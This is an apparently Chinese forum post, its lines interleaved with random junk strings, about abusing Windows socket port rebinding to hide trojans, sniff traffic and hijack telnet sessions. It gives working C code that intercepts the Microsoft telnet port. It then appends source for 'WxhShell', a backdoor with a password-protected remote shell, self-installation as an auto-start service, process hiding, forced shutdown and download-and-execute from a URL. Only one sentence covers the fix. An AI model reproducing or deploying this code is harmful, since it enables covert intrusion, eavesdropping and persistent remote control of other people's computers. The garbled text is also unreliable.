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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :s *  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7KIekL  
P]Fb0X  
  saddr.sin_family = AF_INET; rH7Cv/Y  
~5P9^`KNH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); RL` E}:V  
fpf]qQ W~7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); yj:@Fg-3g  
{ )qr3-EM#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 </25J((  
^% f8JoB  
  这意味着什么?意味着可以进行如下的攻击: E)*ht;u  
1V2]@VQF  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !ZTghX}D  
m,HE4`g  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |ke0G  
tD.#*.7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 l#[Z$+!09  
lj<Sa  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &PC6C<<f  
=;Q/bD->  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ](JrEg$K  
T,!EL +o4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [5&k{*}}  
hV@ N -u^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 F3bTFFt  
YrL(4 Nt8  
  #include MFq?mZ,  
  #include F~Dof({:  
  #include kZ5#a)U<  
  #include    bSe\d~{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   94B%_  
  int main() $`lWW6>P  
  { }#7l-@{<  
  WORD wVersionRequested; xKu#O H  
  DWORD ret; iZNS? ^U  
  WSADATA wsaData; Vit-)o{zr  
  BOOL val; HGYTh"R  
  SOCKADDR_IN saddr; T`e`nQ0nn  
  SOCKADDR_IN scaddr; G' U_I  
  int err; i8?oe%9l  
  SOCKET s; ^}P94(oz  
  SOCKET sc; ec ;  
  int caddsize; eWFkUjz  
  HANDLE mt; 1 *' /B  
  DWORD tid;   %np(z&@wi  
  wVersionRequested = MAKEWORD( 2, 2 ); uF<34  
  err = WSAStartup( wVersionRequested, &wsaData ); {@2+oOuYfN  
  if ( err != 0 ) { 8y27O  
  printf("error!WSAStartup failed!\n"); Q\4tzb]  
  return -1; kl]V_ 7[  
  } t"B3?<?]  
  saddr.sin_family = AF_INET; Dn)yBA%  
   ?3~t%Q`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 P;.roD9  
b>ZAkz)U+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $1ovT8  
  saddr.sin_port = htons(23); PE5*]+lW.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [yMSCCswW  
  { *IOrv)  
  printf("error!socket failed!\n"); <}lah%4F  
  return -1; z-MQGq xR  
  } 2,:{ 5]Q$  
  val = TRUE; 6?u`u t  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (nQm9 M(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <( OHX3~  
  { E#_/#J]UQn  
  printf("error!setsockopt failed!\n"); )(,O~w  
  return -1; <-.@,HQ+  
  } +IS6l*_y>6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; w4P;Z-Cd  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =RHtugwy  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1?BLL;[a8  
)y8Myb}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `xx.,;S  
  { `^Ll@Cx"  
  ret=GetLastError(); 2->Lz  
  printf("error!bind failed!\n"); )Wle CS_  
  return -1; R ?s;L r  
  } /ckk qk"  
  listen(s,2); rmggP(  
  while(1) ?5CE<[  
  { (.=ig X  
  caddsize = sizeof(scaddr); Xps \+l%i  
  //接受连接请求 ]*P9=!x|M  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); mn03KF=n]  
  if(sc!=INVALID_SOCKET) ~D@YLW1z(  
  { %Mj,\J!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); r-YJ$/J  
  if(mt==NULL) p>eYi \'  
  { -ysNo4#e&  
  printf("Thread Creat Failed!\n"); /RJ]MQ\*O  
  break; `Kg!aN  
  } 2H w7V3q  
  } 4`"}0:t.  
  CloseHandle(mt); lusUmFm'*  
  } c $r"q :\  
  closesocket(s); j^#p#`m  
  WSACleanup(); OD7^*j(p`  
  return 0; `uMc.:5\  
  }   Io*H}$Gf  
  DWORD WINAPI ClientThread(LPVOID lpParam) hBRi5&%  
  { eCR^$z=c  
  SOCKET ss = (SOCKET)lpParam; Csy$1;"A  
  SOCKET sc; ,mx\ -lWFy  
  unsigned char buf[4096]; q#AIN`H  
  SOCKADDR_IN saddr; }F0<8L6%  
  long num; ,,G"EF0A  
  DWORD val; Eoixw8hz  
  DWORD ret; UUDHknm"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \"$P :Uv  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   R~iv%+  
  saddr.sin_family = AF_INET; tz2=l.1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); c_ncx|dUs  
  saddr.sin_port = htons(23); Q*I8RAfd  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CR23$<FC  
  { f8[O]MrO;  
  printf("error!socket failed!\n"); \,Ws=9f  
  return -1; /0qbRk i  
  } awo'#Y2>  
  val = 100; bwhH2^ !  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'u x!:b"  
  { D|Q7dIZm  
  ret = GetLastError(); >v, si].  
  return -1; [u!n=ev  
  } B(1-u!pz  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2? yo  
  { ~IW{^u  
  ret = GetLastError(); ;PC!  
  return -1; w>9d^kU'  
  } J)n_u),  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Lfi6b%/z  
  { v[|W\y@H/3  
  printf("error!socket connect failed!\n"); X-nC2[tu'W  
  closesocket(sc); Jn=;gtD- *  
  closesocket(ss); nl 'MWP  
  return -1; q 0F6MAXj  
  } JqMF9|{H  
  while(1) .,z6a  
  { {aUTTEu  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -GFZFi  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v]{UH {6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 HdxP:s.T  
  num = recv(ss,buf,4096,0); % Q6 za'25  
  if(num>0) \Aro Sy9  
  send(sc,buf,num,0); D {Ol8:  
  else if(num==0) e^\e;>Dh>  
  break; sq`Xz 8u  
  num = recv(sc,buf,4096,0); S j~SG  
  if(num>0) #PD6LO  
  send(ss,buf,num,0); MBg[hu%  
  else if(num==0) ?v M9 !  
  break; !\4B.  
  } z5$Q"Y.D  
  closesocket(ss); I)'bf/6?  
  closesocket(sc); 1V1I[CxlX  
  return 0 ; I<940PZ  
  } -:ucp2  
WuU wd#e  
=^u;uS[IW  
========================================================== ?yS1|CF%&y  
nte?a e  
下边附上一个代码,,WXhSHELL ;B=aK"\  
* HKu%g  
========================================================== ~)ys,Q  
aq$ hE-{28  
#include "stdafx.h" "wOfs$w%s  
/dYv@OU?  
#include <stdio.h> acl<dY6  
#include <string.h> W\kli';jyC  
#include <windows.h> ^MvuFA ,C  
#include <winsock2.h> iwJ_~   
#include <winsvc.h> e7U\gtZ.  
#include <urlmon.h> u)0I$Tc"  
#; ?3k uq(  
#pragma comment (lib, "Ws2_32.lib") ;yJ:W8U]+;  
#pragma comment (lib, "urlmon.lib") !CYC7HeF  
=D/zC'l  
#define MAX_USER   100 // 最大客户端连接数 hN'])[+V  
#define BUF_SOCK   200 // sock buffer ls@]%pz.1d  
#define KEY_BUFF   255 // 输入 buffer /g<Oh{o8  
i 6G40!G=)  
#define REBOOT     0   // 重启 s7Agr!>f  
#define SHUTDOWN   1   // 关机 sE"s!s/  
1Nt &+o  
#define DEF_PORT   5000 // 监听端口 rR.It,,  
}sXTZX  
#define REG_LEN     16   // 注册表键长度 "Q.*  
#define SVC_LEN     80   // NT服务名长度 ~18a&T:  
p u(mHB  
// 从dll定义API OT{"C"%5t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D`LBv,n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3xChik{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7<yc:}9nx  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @gI1:-chB  
F_ F"3'[  
// wxhshell配置信息 V"4Z9Qg}  
struct WSCFG { H -kX-7C  
  int ws_port;         // 监听端口 &N7ji  
  char ws_passstr[REG_LEN]; // 口令 n"(!v7YNp  
  int ws_autoins;       // 安装标记, 1=yes 0=no "}]$ag!`q$  
  char ws_regname[REG_LEN]; // 注册表键名 .9jKD*U|  
  char ws_svcname[REG_LEN]; // 服务名 z]G|)16  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s*izhjjX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0* $w(*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ukWn@q*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @?3f`l 9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LIZB!S@V\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3 t,_{9  
^dQ{vL@9b9  
}; REUxXaN>Z  
)% 7P?^>  
// default Wxhshell configuration 0xB2  
struct WSCFG wscfg={DEF_PORT, i>F=XE  
    "xuhuanlingzhe", "D(Lp*3hj&  
    1, }|P3(*S  
    "Wxhshell", .hl_zc#  
    "Wxhshell", bNea5u##  
            "WxhShell Service", Aedf (L7\  
    "Wrsky Windows CmdShell Service", Ww7Ya]b.k  
    "Please Input Your Password: ", I~GF%$-G  
  1, iM+` 7L'  
  "http://www.wrsky.com/wxhshell.exe", -JMn?]  
  "Wxhshell.exe" -pu5O 9 @  
    }; ^xZh@e5  
HK@ij,px  
// 消息定义模块 .Bm%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [xMa^A>p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ( ay AP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [?!I*=*b  
char *msg_ws_ext="\n\rExit."; 6}4})B2  
char *msg_ws_end="\n\rQuit."; DP ? d C`  
char *msg_ws_boot="\n\rReboot..."; S#/%#k103  
char *msg_ws_poff="\n\rShutdown..."; *pKTJP  
char *msg_ws_down="\n\rSave to "; }47h0 i  
@+u>rS|IB  
char *msg_ws_err="\n\rErr!"; d ]P~  
char *msg_ws_ok="\n\rOK!"; ScPVjqG2{  
v,KKn\X  
char ExeFile[MAX_PATH]; AJPvwu}D  
int nUser = 0; ~66xO9s  
HANDLE handles[MAX_USER]; m#7(<#  
int OsIsNt; >Fel) a  
u!_l/'\  
SERVICE_STATUS       serviceStatus; $]v}X},,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,erw(7}'.  
;5[KZ8j6Y  
// 函数声明 1vj/6L  
int Install(void);  F!omkN  
int Uninstall(void); 4U}qrN~=  
int DownloadFile(char *sURL, SOCKET wsh); "/W[gP[y%  
int Boot(int flag); 3N7H7(IR  
void HideProc(void); uDF;_bli)H  
int GetOsVer(void); Fhoyji4  
int Wxhshell(SOCKET wsl); AU{"G  
void TalkWithClient(void *cs); fr@F7s5}  
int CmdShell(SOCKET sock); 7},A. q  
int StartFromService(void); =CX1jrLZ  
int StartWxhshell(LPSTR lpCmdLine); ^kez]>   
K@D\5s|1|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )#=J<OpG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]\$/:f-2  
\/a6h   
// 数据结构和表定义 {MUB4-@?F$  
SERVICE_TABLE_ENTRY DispatchTable[] = M^FY6TT4O  
{ c`;\sW-_W  
{wscfg.ws_svcname, NTServiceMain}, "W|A^@r}  
{NULL, NULL} wVf~FssN  
}; rwm^{Qa  
IPiV_c-l  
// 自我安装 cnv>&6a)  
int Install(void) ZO0 Ee1/  
{ bzg C+yT  
  char svExeFile[MAX_PATH]; \o9 \i kR  
  HKEY key; +X}i%F'  
  strcpy(svExeFile,ExeFile); "t@p9>  
C8N)!5(A  
// 如果是win9x系统,修改注册表设为自启动 A4K.,bZ   
if(!OsIsNt) { mgs(n5V5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jc} G+|`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -yYdj1y;  
  RegCloseKey(key);  N;7/C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `8:0x?X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z6>@9+V-&  
  RegCloseKey(key); @f!X%)\;x  
  return 0; 1>!LK_  
    } Cy/&KWLenf  
  } U|(+-R8Z  
} -N *L1Zj  
else { EY}:aur  
}aCa2%  
// 如果是NT以上系统,安装为系统服务 #YUaM<O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1<@SMcj>  
if (schSCManager!=0) M`xiC  
{ gv#\}/->4  
  SC_HANDLE schService = CreateService EE/mxN(<  
  ( 3a/n/_D  
  schSCManager, Y.tx$%  
  wscfg.ws_svcname, d:H'[l.F%  
  wscfg.ws_svcdisp, l'@-?p(Vuw  
  SERVICE_ALL_ACCESS, VJh8`PVX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e~'` x38  
  SERVICE_AUTO_START, jN=<d q ~  
  SERVICE_ERROR_NORMAL, P&-o>mM  
  svExeFile, Yo-}uTkw  
  NULL, H=t"qEp  
  NULL, XR5KJl  
  NULL, Xlo7enzY  
  NULL, 5E:$\z;  
  NULL 5of3&  
  ); zM0NRERi  
  if (schService!=0) =W(*0"RM  
  { t>"%exdoZ  
  CloseServiceHandle(schService); sE1cvAw9l  
  CloseServiceHandle(schSCManager); 4ls:BO;k]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xNP_>Qa~  
  strcat(svExeFile,wscfg.ws_svcname); 7ubz7*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p7?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &y[NC AeA  
  RegCloseKey(key); *Ak.KBg  
  return 0; }\pI`;*O|  
    } 1GY2aZ@  
  } ~5 ^Jv m  
  CloseServiceHandle(schSCManager); |s|}u`(@9  
} 9g92eKS  
} |(7}0]BP0  
<v"o+  
return 1; 'J|2c;M\x  
} / )0hsQs  
@KG0QHyiU  
// 自我卸载 9KSi-2?H  
int Uninstall(void) O&`.R|v  
{ Onmmcem  
  HKEY key; xO$P C,  
]B8 A  
if(!OsIsNt) { GQ_KYS{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i`,FXF)  
  RegDeleteValue(key,wscfg.ws_regname); 99m2aT()  
  RegCloseKey(key); Cj5mM[:s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f60w%  
  RegDeleteValue(key,wscfg.ws_regname); pO]gf$  
  RegCloseKey(key); f| RmAP;X,  
  return 0; 4aayMS !#  
  } N2r zHK  
} bbm\y] !t  
} tDByOml8Ix  
else { CB@7XUR  
OLw]BJXYaE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =Q#I@SVp2$  
if (schSCManager!=0)  0^;2  
{ nhI+xqfn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R!nf^*~  
  if (schService!=0) ]5!3|UYS  
  { 8tvmqe_G  
  if(DeleteService(schService)!=0) { %idBR7?`g  
  CloseServiceHandle(schService); igO>)XbsM  
  CloseServiceHandle(schSCManager); XN<SKW(H3  
  return 0; WhPP4 #  
  } [g}Cve#i  
  CloseServiceHandle(schService); P8 X07IK  
  } i,Ct AbMx  
  CloseServiceHandle(schSCManager); O&%'j  
} c{#2;k Q,  
} T^bA O-d#  
fHt\KP  
return 1; )XI[hVUA  
} 1$E(8"l  
~uQ*u.wi  
// 从指定url下载文件 dab]>% M  
int DownloadFile(char *sURL, SOCKET wsh) /\J0)V  
{ -H| 9 82=  
  HRESULT hr; K.tNV{OL  
char seps[]= "/"; Y2|i>5/|<  
char *token; TG2#$Bq1  
char *file; xATx2*@X2  
char myURL[MAX_PATH]; (m]l -Re  
char myFILE[MAX_PATH]; Nc[@QC{  
+{UY9_~\3  
strcpy(myURL,sURL); E^8|xT'h6  
  token=strtok(myURL,seps); \aSP7DzqQ  
  while(token!=NULL) mxNd  
  { *>fr'jj1$  
    file=token; ~Xi@#s~  
  token=strtok(NULL,seps); F^Ut ZG+  
  } E@}F^0c  
$4bc!  
GetCurrentDirectory(MAX_PATH,myFILE); 2>z YJqG|  
strcat(myFILE, "\\"); Z |$#  
strcat(myFILE, file); v^"\e&XL  
  send(wsh,myFILE,strlen(myFILE),0); ?m7:@GOE1  
send(wsh,"...",3,0); ;zCUx*{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >ohCz@~  
  if(hr==S_OK) %m&6'Rpfk  
return 0; f*k7 @[rSv  
else qxZIH  
return 1; BabaKSm}LP  
)&6gju7(  
} Y6{^cZ!=  
M7#!Y=  
// 系统电源模块 m8n)sw,,  
int Boot(int flag) `_/bg(E  
{ --h\tj\U  
  HANDLE hToken; ^ h=QpH  
  TOKEN_PRIVILEGES tkp; 2D 4,#X  
^PG"  
  if(OsIsNt) { 9QQ XB-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Xv1vq -cM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~aC ?M&  
    tkp.PrivilegeCount = 1; PD#,KqL:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <4r8H-(%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); reu[rZ&  
if(flag==REBOOT) { %;`Kd}CO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0X)vr~`  
  return 0; +\!.X _Ij  
} %=**cvVy  
else { zlMh^+rMX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c^}G=Z1@  
  return 0; \Qml~?$@lH  
} *_D/_Rp7  
  } T zL|{9  
  else { Q-x>yau"  
if(flag==REBOOT) { 20Zxv!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OP/DWf  
  return 0; r]9-~1T  
} vF\>;pcT  
else { ^\}MG!l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e=;A3S  
  return 0; i{$-[*WHiV  
} &'6/H/J  
} I Q_6DF  
Snr(<u  
return 1; -YNpHd/;,  
} BTAbDyH5  
]_ C"A  
// win9x进程隐藏模块 aM5]cc%  
void HideProc(void) @$ 7 GrT  
{ HK )m^!=  
.x I Aep_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 21TR_0g&<  
  if ( hKernel != NULL ) u X,n[u  
  { L{/% "2>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O Z ./suR)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $RDlM  
    FreeLibrary(hKernel);  IuY9Q8  
  } |WB-Ng  
ixA.b#!1  
return; kk fWiPO^  
} 'T eH(?3G  
n/ KO{:  
// 获取操作系统版本 } =OE.cf@  
int GetOsVer(void) Kx9u|fp5  
{ E2DfG^sGV  
  OSVERSIONINFO winfo; YR'F]FI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l'I:0a 4T  
  GetVersionEx(&winfo); )<5k+O~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )j;^3LiV3  
  return 1; 88HqP!m%P:  
  else W&5/1``u\  
  return 0; >/ay'EyY;>  
} Zn9tG:V  
8-#kY}d.  
// 客户端句柄模块 3ijPm<wn  
int Wxhshell(SOCKET wsl) !hVbx#bXl  
{ oC`F1!SfOO  
  SOCKET wsh; :M(uP e=D  
  struct sockaddr_in client; Sp>g77@  
  DWORD myID; A8f.h5~9  
?^VPO%  
  while(nUser<MAX_USER) ZR1U&<0c@  
{ FKO2UY#&7  
  int nSize=sizeof(client); `D;*.zrA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oU|G74e6  
  if(wsh==INVALID_SOCKET) return 1; V'9.l6l   
4Y(@ KUb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tWn dAM(U7  
if(handles[nUser]==0) TuQGF$n@  
  closesocket(wsh); xM%4/QE+  
else tp`1S+'~j  
  nUser++; ??F* Z" x  
  } u1meys a{0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VcKB:(:[  
yzN[%/  
  return 0; 1AAyzAP9`  
} i#-v4g  
\Th<7WbR6#  
// 关闭 socket Z3]I^i FI  
void CloseIt(SOCKET wsh) 9gg{i6  
{ m!7%5=Fc  
closesocket(wsh); \Kf\%Q  
nUser--; )- W1Wtom  
ExitThread(0); zT>!xGTu7~  
} 6*i **  
G _cJI  
// 客户端请求句柄 F*P0=DD  
void TalkWithClient(void *cs) ^;EhKG  
{ s|p I`  
sZrVANyqb  
  SOCKET wsh=(SOCKET)cs; e!5} #6Kd  
  char pwd[SVC_LEN]; w(@r-2D"  
  char cmd[KEY_BUFF]; Jk*cuf `rq  
char chr[1]; @` KYgjjH  
int i,j; , ;,B7g  
l@);U%\pS  
  while (nUser < MAX_USER) { .D W>c}1  
o-6d$c}{f  
if(wscfg.ws_passstr) { `<9>X9.+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LGt>=|=bj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c`<2&ke  
  //ZeroMemory(pwd,KEY_BUFF); 3y)\dln  
      i=0; 2j+w5KvU  
  while(i<SVC_LEN) { C@XS  
}xsO^K  
  // 设置超时 wqo:gW_  
  fd_set FdRead; 2|;|C8C  
  struct timeval TimeOut; ZPZh6^cc  
  FD_ZERO(&FdRead); os5$(  
  FD_SET(wsh,&FdRead); Vg'R=+Wb  
  TimeOut.tv_sec=8; NifQsy)*%  
  TimeOut.tv_usec=0; <IR#W$[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e(7#>O%1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u+V*U5v  
*X .1b!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2u$-(JfoS  
  pwd=chr[0]; ,)`_?^ \$f  
  if(chr[0]==0xd || chr[0]==0xa) { %}@iz(*}>  
  pwd=0; i >3`V6  
  break; ?W'z5'|  
  } nkHl;;WJ  
  i++; !R8%C!=a  
    } R&|.Lvmc/  
L3{(B u  
  // 如果是非法用户,关闭 socket 2Wzx1_D "a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HTh? &u\QG  
} >W>rhxU  
}r,M (Zr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uZ?P{E,K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vx9!KWy}  
4A J]qu  
while(1) { JX0M3|I=  
ox&5} &\  
  ZeroMemory(cmd,KEY_BUFF); 3%*igpj\)  
+@ChZ  
      // 自动支持客户端 telnet标准   %"`p&aE:  
  j=0; jt}Re,  
  while(j<KEY_BUFF) { 7.29'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7wj2-BWa  
  cmd[j]=chr[0]; 4vg3F(   
  if(chr[0]==0xa || chr[0]==0xd) { :$D*ab^^P  
  cmd[j]=0; ZO/e!yju  
  break; r(r(&NU  
  } 7 z    
  j++; }T[ @G6#  
    } kx&JY9(&#  
ins(RWO  
  // 下载文件 _%Z.Re  
  if(strstr(cmd,"http://")) { 5az%yS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KSs1EmB  
  if(DownloadFile(cmd,wsh)) )|*Qs${tF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d7^ `  
  else v_zt$bf{Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q=3>ij {v  
  } n~629&  
  else { yx8G9SO?  
d[t0K]  
    switch(cmd[0]) { _s;y0$O  
  d&^b=d FDu  
  // 帮助 UC+Qn  
  case '?': { jV2H61d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z 7@'I0;A  
    break; nZioFE}  
  } wNi%u{T  
  // 安装 OH@"]Nc~  
  case 'i': { 44e]sT.B  
    if(Install()) ZFLmD|q#{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Iynks,ikA  
    else 2BC!,e$Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qlcd[Y*B  
    break; ~DD _n  
    } 2mEqfy  
  // 卸载 C@Wzg  
  case 'r': { mW{;$@PLF"  
    if(Uninstall()) N[ = I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JA4Zg*7I  
    else k^oSG1F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8sj2@d  
    break; .6gx|V+  
    }  ,t 2CQ  
  // 显示 wxhshell 所在路径 uUfw"*D  
  case 'p': { Ij(dgY  
    char svExeFile[MAX_PATH]; XEiVs\) G  
    strcpy(svExeFile,"\n\r"); \ZRII<k5)  
      strcat(svExeFile,ExeFile); ()6% 1zCO  
        send(wsh,svExeFile,strlen(svExeFile),0); A'w+Lc.2  
    break; tEL;,1  
    } L<V20d9  
  // 重启 b=Nsz$[  
  case 'b': { !5dn7Wuj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oVw4M2!"K  
    if(Boot(REBOOT)) %ZoJu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /K!)}f( 6  
    else { 3@=<4$  
    closesocket(wsh); }!^h2)'7  
    ExitThread(0); W $D 34(  
    } +(Y\w^@%H  
    break; mywx V  
    } k$v 7@|Aw  
  // 关机 K21Xx`XK  
  case 'd': { 1le9YL1_g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZTTA??}Y  
